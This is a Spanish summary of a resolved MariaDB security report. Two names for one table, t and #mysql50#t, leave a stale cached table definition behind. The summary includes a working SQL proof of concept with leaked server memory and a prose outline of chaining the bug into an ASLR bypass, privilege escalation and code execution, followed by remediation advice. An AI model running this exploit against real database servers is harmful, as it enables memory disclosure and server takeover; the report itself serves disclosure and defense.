Reports
CRÍTICA[CORRUPCIÓN DE MEMORIA]#3849040

Confusión de identidad con el prefijo heredado #mysql50# en MariaDB: caché de tablas desfasada y lectura de memoria

El prefijo de compatibilidad #mysql50# de MariaDB hacía que `t` y `#mysql50#t` apuntaran al mismo fichero pero se tratasen como dos tablas distintas en la caché de metadatos, permitiendo leer memoria con una definición de tabla desfasada.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

MariaDB mantiene el prefijo #mysql50# como mecanismo de compatibilidad heredado: sirve para acceder a tablas cuyos nombres en disco se crearon con las antiguas reglas de codificación de nombres de fichero de MySQL. El problema es que, aunque t y #mysql50#t se refieren al mismo fichero físico para la capa de almacenamiento, las capas de SQL, metadatos y caché los tratan como dos identidades de tabla distintas.

Esa discrepancia permite a un usuario con pocos privilegios (bastaba con ser propietario del esquema, con ALL PRIVILEGES sobre su propia base de datos de pruebas, sin acceso a mysql.global_priv) dejar la caché de definiciones de tabla en un estado desfasado: abre la tabla con una grafía (t), la carga en caché, y a continuación la recrea con otra forma a través de la otra grafía (#mysql50#t). Las consultas posteriores siguen usando los metadatos TABLE/Field antiguos (la forma "ancha") contra los nuevos datos en disco controlados por el atacante.

En esencia es una confusión de identidad sobre la clave con la que se indexa la tabla en la caché: dos nombres que deberían resolver a la misma entidad conviven como entradas separadas.

Pasos de reproducción

La prueba de concepto mínima crea una tabla MEMORY con una columna ancha, la cachea leyéndola, y luego recrea el mismo fichero físico a través del alias con una columna mucho más estrecha:

SELECT VERSION();
-- 13.1.0-MariaDB

DROP TABLE IF EXISTS t, `#mysql50#t`;
CREATE TABLE t(id INT, c1 BINARY(32)) ENGINE=MEMORY;
INSERT INTO t VALUES(1, REPEAT(0x41,32));

-- abrir / cachear la definición "ancha" de la tabla
SELECT 'table-read' AS type, id, LENGTH(c1), HEX(c1) FROM t;

-- recrear la MISMA tabla física a través del alias, con una forma más estrecha
DROP TABLE `#mysql50#t`;
CREATE TABLE `#mysql50#t`(id INT, c1 BINARY(1)) ENGINE=MEMORY;
INSERT INTO `#mysql50#t` VALUES(2, 0x42);

-- lectura por el alias nuevo (correcta: 1 byte)
SELECT 'alias-read' AS type, id, LENGTH(c1), HEX(c1) FROM `#mysql50#t` WHERE id=2;

-- lectura por la tabla "ancha" desfasada: fuga memoria adyacente
SELECT 'table-read' AS type, id, LENGTH(c1), HEX(c1) FROM t ORDER BY id;

La última consulta devuelve, para la fila nueva, 32 bytes en lugar del único byte real almacenado:

+------------+------+------------+------------------------------------------------------------------+
| type       | id   | LENGTH(c1) | HEX(c1)                                                          |
+------------+------+------------+------------------------------------------------------------------+
| table-read |    1 |         32 | 4141414141414141414141414141414141414141414141414141414141414141 |
| table-read |    2 |         32 | 42414141414141414141416086402F080000005087402F080000000000000000 |
+------------+------+------------+------------------------------------------------------------------+

El byte 42 es el dato real; el resto son bytes de memoria contigua del proceso del servidor. Como la caché de definiciones sigue creyendo que la columna mide 32 bytes, lee 31 bytes de más allá del dato almacenado.

Impacto

Partiendo de esa primitiva de lectura fuera de límites, el investigador demostró que, variando el motor de almacenamiento, las definiciones de tabla original/sustituta y el uso posterior de la tabla, el fallo se podía convertir en varias primitivas encadenables:

  • Lectura fuera de límites / bypass de ASLR: repitiendo el patrón con muchas columnas anchas que luego se estrechan, se filtra suficiente memoria contigua como para reconstruir la base de la imagen del binario y saltarse ASLR.
  • Divulgación de información: aprovechando metadatos BLOB desfasados de MyISAM, un campo que la caché cree que es un TINYBLOB fuera de fila lee bytes almacenados en línea como si fueran un descriptor BLOB, con las consecuentes lecturas de memoria arbitrarias.
  • Escalada de privilegios: con el servidor comprometido, el investigador localizó la caché de cuentas en memoria y sobreescribió su propia máscara de privilegios (master_access) hasta obtener todos los permisos en la misma conexión, pasando a poder leer mysql.global_priv.
  • Ejecución remota de código: a partir de ahí logró ejecución de comandos del sistema operativo con el usuario del servicio (mysql), tanto plantando un plugin UDF como desviando el flujo de control mediante estructuras de campo desfasadas.

En resumen, un usuario con privilegios limitados sobre una sola base de datos podía escalar hasta ejecución de código en el servidor. El reporte se marcó como Resolved en el programa de MariaDB.

Remediación

La recomendación del investigador, por orden de preferencia:

  1. Eliminar por completo el soporte de #mysql50#.
  2. Permitirlo solo para abrir ficheros heredados existentes y para ALTER DATABASE ... UPGRADE DATA DIRECTORY NAME.
  3. En su defecto, normalizar los nombres de base de datos y tabla al construir las claves de caché, de forma que t y #mysql50#t resuelvan a la misma clave canónica:
`foo`              -> `foo`
`#mysql50#foo`     -> `foo`

`a/b`              -> `a@002fb`
`#mysql50#a@002fb` -> `a@002fb`

El punto clave es que la normalización no puede quedarse solo en la caché de definiciones de tabla (tdc_create_key()): si las claves de bloqueo de metadatos (MDL) para tablas no se canonizan también, siguen existiendo bloqueos divididos para la misma tabla física. El investigador propuso un constructor central de claves canónicas y un envoltorio específico para inicializar las peticiones MDL de tabla, de modo que todos los sitios que hoy pasan db/table_name en crudo lo usen y no se reintroduzca el problema. También señaló que la invalidación de la caché de consultas por nombre de fichero (Query_cache::filename_2_table_key()) debe producir esa misma clave canónica.

Qué aprender de este caso

  • Cuando una misma entidad física se puede nombrar de varias formas (alias, prefijos de compatibilidad, codificaciones de nombre de fichero), revisa que todas las cachés y claves de bloqueo la reduzcan a una única clave canónica; aquí el fallo no estaba en abrir el fichero sino en que la clave de caché (tdc_create_key) y la de MDL conservaban el prefijo #mysql50#.
  • Una caché de metadatos que describe la forma de un dato (longitud de columna, tipo de campo, si un BLOB es en línea o fuera de fila) se vuelve peligrosa si el dato puede cambiar de forma por debajo sin invalidarla: busca puntos donde un DROP+CREATE/RENAME del mismo objeto no fuerce el refresco de la definición cacheada.
  • Los mecanismos de compatibilidad heredados (como #mysql50#) son superficie de ataque olvidada: valen la pena de auditar porque suelen tener rutas de código paralelas que no recibieron los mismos controles que la ruta principal.